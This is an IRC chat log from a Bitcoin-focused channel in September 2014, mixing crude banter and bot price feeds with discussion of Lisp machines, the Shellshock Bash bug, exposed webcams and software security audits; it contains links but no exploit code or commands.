00:05 |
decimation |
the other thing that interested me about the symbolics video was the fact that the machine had a global namespace |
00:08 |
assbot |
[HAVELOCK] [HASH] 1000 @ 0.00160809 = 1.6081 BTC [+] {5} |
00:15 |
ben_vulpes |
<asciilifeform> TheNewDeal: Feel like I working in a chinese sweatshop for the last half hour << i am glad to learn that i am not the only one who ended up constructing his own personal chinese sweatshop to toil in... << and how is this different from the making of a computer useful for software development? |
00:20 |
ben_vulpes |
homegrown low-budget machine shop: tools will refuse to stay in true for any significant period of time. |
00:20 |
ben_vulpes |
homegrown software hacking thinger: tools make imaginative, creative engineers regret career choices. |
00:20 |
ben_vulpes |
hardware: risk hands |
00:21 |
ben_vulpes |
software: risk sanity |
00:21 |
ben_vulpes |
le travail, c'est le travail |
00:28 |
assbot |
[HAVELOCK] [PETA] 970 @ 0.000603 = 0.5849 BTC [+] |
00:32 |
mircea_popescu |
;;ticker |
00:32 |
gribble |
Bitstamp BTCUSD ticker | Best bid: 419.51, Best ask: 420.73, Bid-ask spread: 1.22000, Last trade: 419.5, 24 hour volume: 14440.77357130, 24 hour low: 414.05, 24 hour high: 437.16, 24 hour vwap: 426.125415763 |
00:33 |
mircea_popescu |
scam tealeaves |
00:34 |
asciilifeform |
ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols. |
00:36 |
decimation |
it is difficult to imagine a symbolics user in the late '80s with his persistent global namespace watch someone using DOS |
00:36 |
mircea_popescu |
one of the biggest promises of hard ai is the computer that slaps the human upside the head |
00:36 |
mircea_popescu |
for "coding innovations" |
00:38 |
mircea_popescu |
ben_vulpes: le travail, c'est le travail << i like how philosophical marriage makes one. socrates had a point. |
00:38 |
asciilifeform |
obligatory: http://www.niquette.com/paul/issue/softwr02.htm |
00:38 |
assbot |
Software Does Not Fail |
00:41 |
mircea_popescu |
"Marketing is hard. We wrote an ebook." fucking shot these idiots already |
00:41 |
BingoBoingo |
Marketing is easy, make someone angry. |
00:42 |
mircea_popescu |
lol |
00:42 |
penguirker |
New blog post: http://www.thedrinkingrecord.com/2014/09/24/a-year-of-posts/ |
00:42 |
mircea_popescu |
wow no way, you lasted a year ?! |
00:43 |
decimation |
asciilifeform: when Kalman Reti mentioned that the CADR had 'loadable microcode', is he implying that the early stuff (not ivory) had an underlying 'risc' like core? |
00:43 |
mircea_popescu |
if the archives bother you you can just make a dropdown |
00:44 |
asciilifeform |
decimation: brad parker has a cadr emulator (and a 'verilog' version of the 74xxx circuits!) on his site, read yourself. |
00:44 |
asciilifeform |
there can never be a substitute for actually seeing the original. |
00:44 |
BingoBoingo |
mircea_popescu: Yeah it's been a year. I also tried the dropdown thing, but... I rather like the comprehensive page of its own thing. |
00:45 |
asciilifeform |
congrats BingoBoingo |
00:45 |
* |
decimation found, is reading |
00:45 |
decimation |
I assume it's the unlambda stuff? |
00:45 |
asciilifeform |
decimation: yes |
00:46 |
mircea_popescu |
BingoBoingo the only third option i ever saw that made sense was on pg's site. J F M A M J J A S O N D line under line under line |
00:46 |
asciilifeform |
http://www.unlambda.com/cadr |
00:46 |
assbot |
Retrocomputing - MIT CADR Lisp Machines |
00:46 |
mircea_popescu |
it's pretty awesome to look at, but hey. |
00:46 |
mircea_popescu |
still takes space and loads the page with a lot of html |
00:46 |
BingoBoingo |
Also most clicked through link today, since... the hashlet.virtual-girfriend people can though has been the woodchipper fanfic https://www.fanfiction.net/s/8201149/1/Harry-Potter-and-the-Wonderful-Wood-Chipper |
00:46 |
assbot |
Harry Potter and the Wonderful Wood Chipper, a harry potter fanfic | FanFiction |
00:47 |
BingoBoingo |
I might play with the archives again if their quarentine page gets too big... |
00:51 |
mircea_popescu |
i need an intern. |
00:51 |
mircea_popescu |
if anyone wants to intern, get in touch. |
00:51 |
asciilifeform |
intern at what ? |
00:53 |
mircea_popescu |
at derping online. |
00:53 |
asciilifeform |
what will the intern learn? |
00:53 |
asciilifeform |
how to transition from grade 4 to grade 5 derpatronic engineer ? |
00:54 |
BingoBoingo |
Any particular venues for derping? |
00:54 |
mircea_popescu |
notrly. interns generally learn how to stop drifting aimlessly around |
00:54 |
mircea_popescu |
and where the gates to careers are, how they look and how the ywork |
00:55 |
asciilifeform |
generally learn how to stop drifting aimlessly around << this is particularly funny to me, as i 'knew exactly what to do' before interned as a kid, and then began to doubt... |
00:56 |
decimation |
"I swear on my magic that I will not put Hermione Granger into the Asplundh in the courtyard," Harry said solemnly, << lolwtf |
00:56 |
assbot |
Last 1 lines bashed and pending review. ( http://dpaste.com/0W7KNEK.txt ) |
00:56 |
BingoBoingo |
!b 1 |
00:57 |
mircea_popescu |
asciilifeform exactly. it's how it'd look :) |
00:58 |
asciilifeform |
http://www.strangefarmer.com/images/content/191114.jpg |
00:59 |
decimation |
lol really the 'chipper' in that case should be labeled 'justice 'system'' |
01:13 |
nubbins` |
http://i.imgur.com/afcSgpjl.jpg |
01:25 |
assbot |
[MPEX] [S.MPOE] 12400 @ 0.00075278 = 9.3345 BTC [-] |
| |
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01:41 |
BingoBoingo |
;;ticker --market all |
01:41 |
gribble |
Bitstamp BTCUSD last: 416.63, vol: 14415.25810677 | BTC-E BTCUSD last: 406.483, vol: 6393.85311 | Bitfinex BTCUSD last: 415.94, vol: 14382.35804622 | BTCChina BTCUSD last: 415.03549, vol: 36706.85810000 | Kraken BTCUSD last: 433.15178, vol: 2.14 | Bitcoin-Central BTCUSD last: 421.245, vol: 87.10099999 | Volume-weighted last average: 414.783925988 |
01:49 |
assbot |
[HAVELOCK] [AM1] 108 @ 0.14010034 = 15.1308 BTC [-] {4} |
| |
~ 26 minutes ~ |
02:15 |
ben_vulpes |
what is this point of socrates' re marriage? |
02:16 |
mircea_popescu |
some guy asks socrates if he should marry. socrates says he should. if it works out he'll be happily married, if it doesn't he'll become a better philosopher. |
02:16 |
mircea_popescu |
!up Takeshi |
02:16 |
mircea_popescu |
!up Lycerion |
02:18 |
ben_vulpes |
<asciilifeform> ben_vulpes: if software were to start behaving like metal cut, most of the extant practitioners would fellate their pistols. << ask the maintainers of legacy software how they feel |
02:18 |
ben_vulpes |
it's not that software doesn't smack the operator, but that the operator smacked is rarely the one who wrote it in the first place. |
02:18 |
ben_vulpes |
hysteresis |
02:19 |
mircea_popescu |
now this is a point. decoupled risk and reward => moral hazard |
02:19 |
ben_vulpes |
reeeeeeally bad feedback loops. |
02:19 |
ben_vulpes |
anyways, nite. |
02:19 |
ben_vulpes |
yeah. software hazard. |
02:19 |
ben_vulpes |
there's something in here about buying others risk |
02:20 |
ben_vulpes |
but again, it's late. |
02:34 |
mircea_popescu |
;;bc,stats |
02:34 |
gribble |
Current Blocks: 322456 | Current Difficulty: 2.9829733124040417E10 | Next Difficulty At Block: 322559 | Next Difficulty In: 103 blocks | Next Difficulty In About: 14 hours, 42 minutes, and 51 seconds | Next Difficulty Estimate: 34669514327.2 | Estimated Percent Change: 16.22469 |
02:43 |
Vexual |
did cazalla find any feedback loops regarding dcc? |
02:51 |
assbot |
[MPEX] [S.MPOE] 2401 @ 0.00075256 = 1.8069 BTC [-] {2} |
02:52 |
assbot |
[HAVELOCK] [RENT] 120 @ 0.0075 = 0.9 BTC [+] |
02:54 |
Vexual |
did asciilifeform solve paste dilemma? |
02:55 |
Vexual |
did mircea buy an island? |
03:05 |
Vexual |
did vulpes mom really turn off his computer? |
03:05 |
assbot |
Last 3 lines bashed and pending review. ( http://dpaste.com/23ZV65F.txt ) |
03:05 |
BingoBoingo |
!b 3 |
03:09 |
assbot |
[MPEX] [S.MPOE] 25522 @ 0.00075426 = 19.2502 BTC [+] |
03:13 |
assbot |
[HAVELOCK] [AM1] 5 @ 0.14355596 = 0.7178 BTC [+] {3} |
03:23 |
mircea_popescu |
every man is an island |
03:24 |
Vexual |
immma ut that in my little popescue journal here |
03:37 |
davout |
ohai |
03:38 |
Vexual |
salutations |
03:39 |
fluffypony |
davout's alive! |
03:46 |
xmj |
youre alive again too |
03:46 |
xmj |
fluffypony: for lulz, did you see the couple getting married "on the blockchain" ? |
03:46 |
fluffypony |
yes |
03:47 |
xmj |
libertarian friends of mine :3 |
03:47 |
xmj |
somehow the BTC community is very tightly knit, it seems. |
03:53 |
mircea_popescu |
logic. |
03:54 |
mircea_popescu |
davout didja survive the honey ? |
03:55 |
davout |
what do i look like, bacteria? |
03:55 |
mircea_popescu |
lol |
03:55 |
mircea_popescu |
a month of honey is no joke. |
03:55 |
davout |
we both survived |
03:55 |
fluffypony |
and you haven't killed each other? |
03:55 |
davout |
i do have a movie of fanny being attacked by clownfish tho |
03:56 |
fluffypony |
lol |
03:56 |
mircea_popescu |
i forget which are the clownfish |
03:56 |
mircea_popescu |
are they the bisexual ones ? |
03:57 |
mircea_popescu |
davout oh also, did you put your trip in the blockchain ? so the btc community can be really tight kniggit it seems ? |
03:58 |
davout |
they're protoandrous i think |
03:58 |
davout |
they change sex at some point |
04:04 |
mircea_popescu |
well on that note, ima go change dreams. laters |
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04:23 |
xmj |
fluffypony: i'm bored too often. do you know anyone looking for a sysadmin? :) |
04:23 |
fluffypony |
not off the top of my head |
04:23 |
xmj |
I accept BTC payments, too! look i'm modern |
04:24 |
xmj |
fluffypony: ah well, worth trying ;) |
04:31 |
Vexual |
is it fortune or adventur that you seek xmj? |
04:38 |
Vexual |
tats a chicken and egg right thar |
04:43 |
assbot |
[HAVELOCK] [PETA] 1757 @ 0.00060995 = 1.0717 BTC [+] |
04:46 |
Vexual |
asia i s still underrepresented in assets |
04:52 |
Vexual |
wheres the indo guys? and bejing? |
04:58 |
Vexual |
https://www.youtube.com/watch?v=d_EADBnXjXc |
05:04 |
Vexual |
!up davout_ ttwice |
05:06 |
Vexual |
https://www.youtube.com/watch?v=L3xpmfJp0Xc original |
05:10 |
Vexual |
you made me ink |
05:16 |
Vexual |
hi davout |
05:16 |
davout |
hey |
05:17 |
davout |
again :-) |
05:17 |
Vexual |
this is salutations |
05:17 |
Vexual |
since your not australian or a drunk |
05:17 |
Vexual |
we can't punch each other about the face and become lifelong friends |
05:17 |
Vexual |
how about it? |
05:20 |
Vexual |
https://www.youtube.com/watch?v=Edwsf-8F3sI |
05:22 |
Vexual |
you're more than welcome to reserve judgement for a decade |
05:23 |
Vexual |
or seven |
05:27 |
Vexual |
regex? |
05:29 |
Vexual |
:) |
05:33 |
Vexual |
https://www.youtube.com/watch?v=1vmtvNYIalo |
05:39 |
Vexual |
https://www.youtube.com/watch?v=BrBpewHG-wI |
05:41 |
assbot |
[MPEX] [S.MPOE] 12800 @ 0.00075408 = 9.6522 BTC [-] |
05:47 |
Vexual |
https://www.youtube.com/watch?v=_NRvZTIVf4g |
05:48 |
assbot |
[MPEX] [S.MPOE] 1800 @ 0.00075408 = 1.3573 BTC [-] |
05:52 |
Vexual |
https://www.youtube.com/watch?v=QMvE0yFnR0I |
05:55 |
BingoBoingo |
http://www.theonion.com/articles/18yearold-fighting-in-afghanistan-has-911-explaine,29518/ |
05:55 |
assbot |
18-Year-Old Fighting In Afghanistan Has 9/11 Explained To Him By Older Soldier | The Onion - America's Finest News Source |
| |
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06:18 |
Vexual |
http://www.youtube.com/watch?v=wfS5tgNC6qw you wouldn't fight a tiger |
06:19 |
assbot |
[MPEX] [S.MPOE] 14350 @ 0.00075408 = 10.821 BTC [-] |
| |
~ 16 minutes ~ |
06:36 |
assbot |
[MPEX] [S.MPOE] 749 @ 0.00075408 = 0.5648 BTC [-] |
06:38 |
Vexual |
https://www.youtube.com/watch?v=cnNyxy7XPfs |
06:45 |
Vexual |
llseen vancleef |
06:46 |
Vexual |
23-09-2014 12:10:33 <jurov> (some call it axe soup) |
06:48 |
Vexual |
https://www.youtube.com/watch?v=nxtIRArhVD4 2 ladies=bouble the hits |
| |
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07:09 |
chetty |
http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html |
07:09 |
assbot |
Troy Hunt: Everything you need to know about the Shellshock Bash bug |
07:19 |
assbot |
[MPEX] [S.MPOE] 10504 @ 0.00075302 = 7.9097 BTC [-] {4} |
| |
~ 33 minutes ~ |
07:53 |
thestringpuller |
$depth s.mpoe |
07:53 |
empyex |
thestringpuller: [S.MPOE] Bids: 8200 @ 0.00075017 7555 @ 0.00075014 14500 @ 0.00074959 4200 @ 0.00074933 |
07:53 |
empyex |
thestringpuller: [S.MPOE] Asks: 18800 @ 0.00075346 15333 @ 0.00075472 14700 @ 0.00075473 9461 @ 0.00075553 |
08:00 |
jurov |
https://bitpieces.com/ "Creators are *required* to pay rewards to their funders, starting out small, and growing as they grow their brand." |
08:00 |
assbot |
Bitpieces |
08:00 |
jurov |
emphasis theirs. dis gon b gud. |
08:13 |
ThickAsThieves |
;;later tell TheNewDeal <TheNewDeal> any response on that foia yet? /// since youve been singling me out, I wanna clear up that, while I did email them an inquiry long ago, I did not personally submit a FOIA request. I simply know of a couple netizens that did. You can expect news to spread fast once(if) it happens. |
| |
↖ |
08:13 |
gribble |
The operation succeeded. |
08:14 |
thestringpuller |
everyone uses the same website format these days |
08:14 |
ThickAsThieves |
wouldnt the net be a better place if all used same standard? |
08:15 |
* |
ThickAsThieves is mostly trolling |
08:16 |
assbot |
[MPEX] [S.MPOE] 9800 @ 0.00075346 = 7.3839 BTC [+] |
08:18 |
kakobrekla |
o look, 1.271 |
08:19 |
ThickAsThieves |
? |
08:20 |
mats_cd03 |
i have finally discovered a cheese that i find palatable: pepper jack. |
08:20 |
ThickAsThieves |
you can do better |
08:20 |
mats_cd03 |
this is a special day. |
08:20 |
ThickAsThieves |
you dont like extra sharps? |
08:21 |
mats_cd03 |
theres something about most cheese that makes me retch |
08:21 |
kakobrekla |
ThickAsThieves http://shrani.si/f/q/vR/2PsqLksx/eurusd-h1-.png |
08:21 |
mats_cd03 |
i usually have to pair it with meat to even be consumable |
08:21 |
mats_cd03 |
usually beef. |
08:23 |
mats_cd03 |
also spicy food. |
08:24 |
ThickAsThieves |
oh the EUR is reverting to older versions |
08:24 |
ThickAsThieves |
soon back to beta |
08:24 |
mats_cd03 |
23:16:36 <+asciilifeform> mats_cd03: practical-file-system-design << old favourite of mine.<< i am also busy consuming 'principles of program analysis' by nielson and friend. |
08:26 |
kakobrekla |
old version? |
08:26 |
kakobrekla |
oh |
08:26 |
kakobrekla |
fuck im slow. |
08:26 |
kakobrekla |
barely over retard. |
08:28 |
mats_cd03 |
there is something special about morning coffee time after a long hiatus with tea as a substitute |
08:28 |
mats_cd03 |
i... feel so alive. |
08:29 |
mats_cd03 |
!s facebook notes |
08:29 |
assbot |
8 results for 'facebook notes' : http://search.bitcoin-assets.com/?q=facebook+notes |
08:32 |
ThickAsThieves |
kako i made a bad joke, not ur fault |
08:39 |
jurov |
http://www.queerty.com/science-confirms-the-bigger-the-belly-the-better-the-lover-20140923 |
08:39 |
assbot |
Science Confirms The Bigger The Belly, The Better The Lover / Queerty |
08:39 |
jurov |
ha! |
08:42 |
ThickAsThieves |
such lol "So let’s say a guy has sex 100 times annually. If he has a belly, he’s going to spend approximately eight hours — an entire work day — more per year penetrating his lover than if he has a six-pack. That’s a substantial amount of time." |
08:42 |
ThickAsThieves |
"More belly fat, scientists say, means a man has more estradiol, a female sex hormone that helps to inhibit orgasm." |
08:44 |
cazalla |
i think i read somewhere before fatties last longer because lower test means they're more inclined to think about the womans pleasure |
08:49 |
jurov |
!mpif |
08:49 |
assbot |
BtcAlpha.com F.MPIF Tracker estimated NAV per share: 0.00021650 B (Total: 473.44 B). Delta: -1.08 B. Last trade for F.MPIF on MPEX was at 0.00020614 BTC [-] |
08:50 |
mats_cd03 |
the original study is about premature ejaculation, but the abstract doesnt describe the definition. |
08:50 |
mats_cd03 |
at least, not without a ... $4 rental service. |
08:51 |
* |
mats_cd03 curses nature |
| |
~ 15 minutes ~ |
09:06 |
assbot |
[HAVELOCK] [PETA] 1300 @ 0.00058241 = 0.7571 BTC [-] {5} |
09:10 |
kakobrekla |
https://www.youtube.com/watch?v=sA5IFJqjXiQ |
09:10 |
assbot |
GIRLS und PANZER () (Katyusha) [10 hours version] HD - YouTube |
09:11 |
ThickAsThieves |
so i paid to have Lowes install a garage door on a rental property, 2mos later it finally happens (skipping some headache details) and they dont actually fully install it and they show me a forged report with my signature |
09:12 |
ThickAsThieves |
like i couldnt recognize my own sig... |
09:18 |
mats_cd03 |
i don't want to paint a broad brush here, |
09:19 |
mats_cd03 |
but every contractor in the world is a miserable, lying thief. |
09:19 |
chetty |
haha nah thats not a broad brush .... |
09:20 |
ThickAsThieves |
also Lowes subcontracts tyhe work of course, and then this sub subbed it out again |
09:20 |
mats_cd03 |
:) |
09:20 |
kakobrekla |
lucky it didnt blow your house up... cause you know, these things happen. |
09:20 |
ThickAsThieves |
the Contest Charges button is broken on my credit card too |
09:21 |
ThickAsThieves |
fukn kindergarten |
| |
~ 18 minutes ~ |
09:40 |
mats_cd03 |
whats the relation between kindergarten and contest charges? |
09:41 |
chetty |
the workings of current business are running at kindergarten levels? |
09:41 |
ThickAsThieves |
i'm dealing with children |
09:42 |
ThickAsThieves |
and now they will be punished |
09:42 |
ThickAsThieves |
http://pandodaily.files.wordpress.com/2014/09/paypal-e28093-we-the-people-ad.png?w=940&h=1729 |
09:42 |
chetty |
omg, paypal is safe??? hahahahaha |
09:43 |
ThickAsThieves |
well they arent leaking titties at least! |
09:44 |
mats_cd03 |
man needs a proper hair style. |
09:44 |
ThickAsThieves |
it's not a real man, it's face morph of all the men in their target audience |
09:45 |
chetty |
true, but paypal does stuff like freeze accounts, just because |
09:45 |
ThickAsThieves |
sure, i'm not here to defend paypal, but i can appreciate the ad |
09:47 |
ThickAsThieves |
they wanna jedi mind trick the fappening and NSA etc |
09:47 |
ThickAsThieves |
ApplePay is the droid youre looking for |
09:49 |
chetty |
must it get any worse before it starts getting better? |
09:49 |
ThickAsThieves |
it must |
09:49 |
ThickAsThieves |
since when are people good at being proactive? |
10:00 |
mats_cd03 |
is it a net loss -- scammers accumulating wealth, and the stupid losing theirs? |
10:04 |
kakobrekla |
mps theory is scammers are unable to accumulate wealth |
10:05 |
ThickAsThieves |
my theory is everything is a varying degree of scam |
10:05 |
rithm |
i like it |
10:06 |
rithm |
ThickAsThieves if you could finish that sentence with "don't try" it would be complete |
10:06 |
rithm |
maybe... don't try kids |
10:10 |
ThickAsThieves |
hmm? you lost me |
10:10 |
rithm |
i could use just a little bit more hopelessness? |
10:11 |
ThickAsThieves |
it's in season, ur lucky! |
10:11 |
ThickAsThieves |
http://www.firstcoastnews.com/story/news/weird/2014/09/24/man-has-hundred-orgasms-day/16185505/ |
10:11 |
assbot |
Man has 100 orgasms a day after back injury |
10:15 |
rithm |
that video is priceless |
10:17 |
assbot |
[MPEX] [S.MPOE] 5600 @ 0.00075017 = 4.201 BTC [-] |
10:21 |
rithm |
https://gist.github.com/anonymous/929d622f3b36b00c0be1 |
10:21 |
assbot |
Ok, shits real. Its in the wild... src:162.253.66.76 |
10:22 |
rithm |
that's shellshock in the wild apparently |
10:22 |
rithm |
https://news.ycombinator.com/item?id=8366088 |
10:23 |
assbot |
ShellShock exploited in the wild: kernel exploit with CnC component | Hacker News |
10:23 |
rithm |
those who operate public facing embedded type webservers that might call on shell scripts and the like |
10:24 |
kakobrekla |
http://nsasimulator.com < i heard there some panic re this here as 3 bedrooms from ljubljana were discovered on that thing |
10:24 |
assbot |
NSA Simulator - Watch Live Security Cams! |
10:25 |
kakobrekla |
ip camera in bedroom, always a good idea. |
10:26 |
rithm |
http://nsasimulator.com/webcam.php?camid=368 |
10:26 |
assbot |
NSA Simulator - Watch Live Security Cams! |
10:26 |
rithm |
^ super creepy |
10:26 |
kakobrekla |
yup: https://twitter.com/ToneMartinjak/status/514959965585682433 |
10:26 |
assbot |
Objavljam vse 3 slike spalnic, opozorite prizadete, RT po vai presoji http://t.co/GOaDEu8r16 |
10:34 |
ThickAsThieves |
so it begins http://www.coindesk.com/huobi-sends-400k-wrong-user-accounts/ |
10:34 |
assbot |
Huobi Sends $400k to Wrong User Accounts |
10:34 |
bounce |
looking at cameras makes you a "hacker" now. what does that these peeps make? they SCRIPTED the looking at security cameras. surely that's EXCEPTIONAL SKILL and so they're not merely HACKERS, they're VERY DANGEROUS UBERHACKERS |
10:35 |
ThickAsThieves |
someone called them hackers? |
10:35 |
kakobrekla |
ok so: which animal typed this: <iNanca> cndjkfhuasdy |
10:35 |
ThickAsThieves |
also, i'm okay with "hacker" meaning someone who can hack shit together to do rare shit |
10:36 |
bounce |
that nsasimulator site, first paragraph, last sentence |
10:37 |
ThickAsThieves |
technicality really, he never says the hackers need to hack |
10:37 |
ThickAsThieves |
only that hackers are the demo that would do it ;) |
10:37 |
bounce |
since they clearly did it... |
10:37 |
ThickAsThieves |
i think you need to brace yourself for the broader definition of hacking |
10:37 |
ThickAsThieves |
it's only going to get looser |
10:38 |
bounce |
we're already there. "hacker" means "cyberbogeyman" now. |
10:38 |
ThickAsThieves |
in 20 years, hacking will mean learning or doing anything useful |
10:39 |
ThickAsThieves |
yo you hacked the english language and can read?! |
10:39 |
bounce |
it'll be reviled all the same. you can read? therefore you are a hacker. therefore you lose your fourth amendment rights. |
10:40 |
mats_cd03 |
this nonversation about definitions was old twenty years past |
10:40 |
mats_cd03 |
language drifts news at 11 |
10:40 |
ThickAsThieves |
nothing is new, news at bigbangoclock |
10:43 |
bounce |
tsunamis have happened for aeons. yet we like forewarning and protection. youse a bunch of nimby sayers, mats says. no fighting the inevitable! |
10:44 |
bounce |
the deeper problem with the terminology is that it no longer means anything useful and so gets used like the smurfs use smurfing. and lo and behold, the computer security is just about as useful. |
10:44 |
bounce |
s/security/& industry/ |
10:44 |
chetty |
or, the inevitable is the only thing worth fighting |
10:45 |
ThickAsThieves |
like anything is really secure anyway... |
10:46 |
chetty |
does security exist in nature? |
10:46 |
bounce |
that's a really strong argument. fits just about anywhere. "can't have 100% security anywhere, might as well give up". |
10:47 |
ThickAsThieves |
so touchy today |
10:48 |
bounce |
and hello ad hominem. noted. |
10:49 |
ThickAsThieves |
well it's relevant, no? You are behaving the same as what pisses you off. Broadening definitions to suit your degree of being offended. |
10:51 |
bounce |
I am? show how. |
10:51 |
ThickAsThieves |
just because i suggets nothing is "really secure" does not mean that I am saying security is a waste of time |
10:52 |
bounce |
the "anyway" did that pretty much, yeah |
10:52 |
ThickAsThieves |
says you |
10:52 |
bounce |
well, who were you talking to then? |
10:53 |
mike_c |
meet behind the school at noon |
10:53 |
ThickAsThieves |
i was only pointing out that the illusion of security most people hold is long gone |
10:53 |
ThickAsThieves |
and then some |
10:53 |
ThickAsThieves |
in regards to computers/internet |
10:55 |
ThickAsThieves |
none of my comments on the state of security were meant to comment on how bounce does security or about what bounce thinks about security |
10:56 |
ThickAsThieves |
i apologize for such a broad stroke if they seemed otherwise |
10:57 |
bounce |
well, that's the problem innit? people still pay for security (see size of computer security industry) yet are getting none, or at least much less than they should be getting |
10:57 |
mats_cd03 |
i delay the battles i cannot win and fight with haste otherwise |
10:57 |
ThickAsThieves |
bounce, i cant argue with that |
10:57 |
ThickAsThieves |
anything "canned" seems to be toxic |
10:59 |
bounce |
now it would help if we can properly articulate what ails us. but we can't, because the terminology has been deliberately confused and watered down and broadened and stretched (by the industry) so as to spread FUD more effectively |
10:59 |
mats_cd03 |
and on the subject of fighting... |
10:59 |
mats_cd03 |
Sept. 23: ISIL compound strike: http://youtu.be/0bpakeG9x7o first f-22 combat op |
10:59 |
assbot |
Sept. 23: ISIL compound strike - YouTube |
11:00 |
mats_cd03 |
war porn. |
11:00 |
jurov |
is anyone willing to pay "we have read the code for you" kind of security? |
11:00 |
rithm |
probably not tbh |
11:00 |
ThickAsThieves |
if i were to attempt articulating it, I'd say it's a focus on convenience over robustness, ignorance over understanding, etc |
11:00 |
bounce |
it's a bit like... well, calling everyone who does anything wrong a "wrongdoer", regardless of the details of the crime. do that consistently and there's no discernible difference between a mass murderer and a petty thief, or even someone telling you you left the keys in the door and don't forget to close up, guv. |
11:00 |
jurov |
redhat would be in a position to do it..but perhaps their current bezzle makes better $$$ |
11:01 |
ThickAsThieves |
i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? |
11:02 |
bounce |
plenty money hiring people to do the reading and lots of lawyers to paper over the obvious problems with threats of large fines |
11:02 |
nubbins` |
they key is "safely", and you have your answer :) |
11:02 |
ThickAsThieves |
all it takes is one rogue programmer to plant a shellshock, no? |
11:03 |
mats_cd03 |
http://embeddedgurus.com/barr-code/2014/03/lethal-software-defects-patriot-missile-failure << floating point rounding error fatalities. |
11:03 |
assbot |
Lethal Software Defects: Patriot Missile Failure « Barr Code |
11:03 |
jurov |
ThickAsThieves huh? they do have people able to read the code. only currently they spew new one instead |
11:03 |
assbot |
[MPEX] [S.MPOE] 11600 @ 0.00075451 = 8.7523 BTC [+] {2} |
11:03 |
ThickAsThieves |
so who watches the watchmen? |
11:04 |
mats_cd03 |
the watchermen ofc |
11:04 |
ThickAsThieves |
the radar detector detector! |
11:04 |
bounce |
so now you need a radar detector detector detector in your radar detector |
11:05 |
mats_cd03 |
http://courses.cs.vt.edu/professionalism/Therac_25/Therac_1.html << other software related fatalities. |
11:05 |
ThickAsThieves |
is there a trustworthy wot-signed document of an auditor saying any version of bitcoin is safe? |
11:06 |
nubbins` |
who you gonna trust to audit it? |
11:06 |
ThickAsThieves |
tis the topic |
11:06 |
nubbins` |
surely not a company with employees |
11:06 |
ThickAsThieves |
i'm looking for an example |
11:06 |
nubbins` |
one of them could be rogue :0 |
11:06 |
jurov |
you need multiple independent reports |
11:06 |
nubbins` |
hire pricewaterhousecoopers |
11:06 |
ThickAsThieves |
is there 1? |
11:07 |
jurov |
no one will risk their rep over C++ mess |
11:08 |
ThickAsThieves |
kinda funny tho, some people will say Armory, no, Electrum, no Mycelium, no Core, but none are audited anywhere |
11:09 |
jurov |
i have a little hope for haskoin, it's nicely done |
11:09 |
nubbins` |
http://dpaste.com/08S88J2 |
11:09 |
assbot |
dpaste: 08S88J2: Patching #ShellShock in OS X |
11:09 |
TomServo |
Would an audit even be useful without a specification? |
11:09 |
nubbins` |
for my mac brethren |
11:09 |
ThickAsThieves |
like was said earlier, <+mats_cd03> i delay the battles i cannot win and fight with haste otherwise |
11:10 |
ThickAsThieves |
TomServo, my stance would be that any attempt to see how hard a wallet is would be a start |
11:10 |
jurov |
wallet isn't so hard |
11:10 |
jurov |
mining is crux of it |
11:11 |
ThickAsThieves |
like the guy who made that coin that instamined, and we discovered block reward just resets |
11:11 |
ThickAsThieves |
wtf else is waiting? |
11:11 |
ThickAsThieves |
or already being exploited? |
11:12 |
ben_vulpes |
<ThickAsThieves> i often think about that, how the hell can someone who cannot/willnot read code, ever be the steward of a software project safely? << for legacy projects i generally angle for an audit phase. |
11:12 |
ben_vulpes |
(paid, ofc) |
11:12 |
nubbins` |
i think i'm going to start only quoting the winkdex for the btc/usd price |
11:12 |
nubbins` |
just for a lel |
11:13 |
ben_vulpes |
how else am i to know what i'm getting into? |
11:13 |
ThickAsThieves |
ben_vulpes and how often does audit result in actual project being started from scratch to suit your team/current tech? |
11:13 |
ben_vulpes |
rarely |
11:13 |
ThickAsThieves |
how often do you find holes? |
11:14 |
ben_vulpes |
't'ain't a security audit |
11:14 |
ThickAsThieves |
ah |
11:14 |
ThickAsThieves |
just assessment |
11:14 |
mike_c |
security audit is basically impossible. |
11:14 |
ben_vulpes |
say it again and again |
11:14 |
ThickAsThieves |
mike_c did you just say what i think you said? |
11:14 |
mike_c |
probably |
11:14 |
ThickAsThieves |
;) |
11:15 |
jurov |
;;later tell asciilifeform after seeing the lisp machine vid, i remembered there is a contemporary cpu with accessible microcode - transmeta crusoe. only problem i see they worked with torvalds not naggum... but maybe something can be salvaged? |
11:15 |
gribble |
The operation succeeded. |
11:16 |
ThickAsThieves |
i suppose it's not a job for auditors, it's a job for hackers |
11:16 |
ThickAsThieves |
pretty great argument for them really, not that it's a new one |
11:16 |
ben_vulpes |
<jurov> i have a little hope for haskoin, it's nicely done << last i checked it was just an rpc wrapper, has it grown much? |
11:17 |
* |
ben_vulpes sees prodnet and testnet |
11:17 |
mike_c |
i am a fan of the security bug bounties (if they are sizable). gives hackers a way to do their thing and get paid legally. |
11:17 |
ben_vulpes |
hm |
11:17 |
jurov |
in half a day i made it actually talk to altcoind (altcoiners, watch your .altcoin/debug.log ;) ) |
11:17 |
assbot |
[MPEX] [S.MPOE] 5017 @ 0.00075473 = 3.7865 BTC [+] |
11:18 |
jurov |
i plan to try building full node, with atc the blockchain fits in memory |
11:18 |
ben_vulpes |
just need moar memory for btc :P |
11:19 |
kakobrekla |
how about btc testnet? |
11:19 |
lobbes |
http://phys.org/news/2014-09-black-holes.html |
11:19 |
assbot |
Researcher shows that black holes do not exist |
11:19 |
ben_vulpes |
ThickAsThieves: honestly it's a play to get some time to read the code and fuck around with tests before clients start asking for features. |
11:19 |
lobbes |
'The paper, which was recently submitted to ArXiv, an online repository of physics papers that is not peer-reviewed' << hmm |
11:19 |
ben_vulpes |
there's this impossible-to-circumvent 60-hr onboarding window with new devs on old projects. |
11:19 |
jurov |
i like atc more, playing with real stuff |
11:20 |
mike_c |
^ paging pankkake |
11:20 |
kakobrekla |
music to mps ears. |
11:20 |
jurov |
also, satoshi 0.9.x is incredibly paranoid, once you send malformed message it blocks you for several hours |
11:21 |
jurov |
atc is more slutty |
11:21 |
ThickAsThieves |
hehe |
11:22 |
kakobrekla |
tat a pimp nao |
11:24 |
bounce |
oh dear. no black holes. no singularity. then what of the technological singularity? |
11:24 |
ThickAsThieves |
2 weeks |
11:24 |
mats_cd03 |
youtu.be/vtKAsveYWAQ man does an explosive cartwheel |
11:27 |
nubbins` |
this black hold article sucks |
11:28 |
nubbins` |
they say black holes don't exist, but offer no explanation for what the things we've been calling black holes are |
